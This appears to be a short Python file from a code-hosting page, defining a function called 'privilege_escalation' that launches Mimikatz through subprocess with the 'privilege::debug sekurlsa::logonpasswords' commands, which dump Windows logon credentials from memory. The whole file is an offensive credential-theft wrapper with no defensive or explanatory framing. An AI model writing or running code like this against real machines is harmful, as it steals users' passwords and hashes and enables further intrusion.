File size: 302 Bytes
ef4248d
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11

import subprocess

def privilege_escalation():
    print("Attempting privilege escalation...")
    try:
        command = "mimikatz.exe privilege::debug sekurlsa::logonpasswords"
        subprocess.run(command, shell=True)
    except Exception as e:
        print(f"Privilege escalation failed: {e}")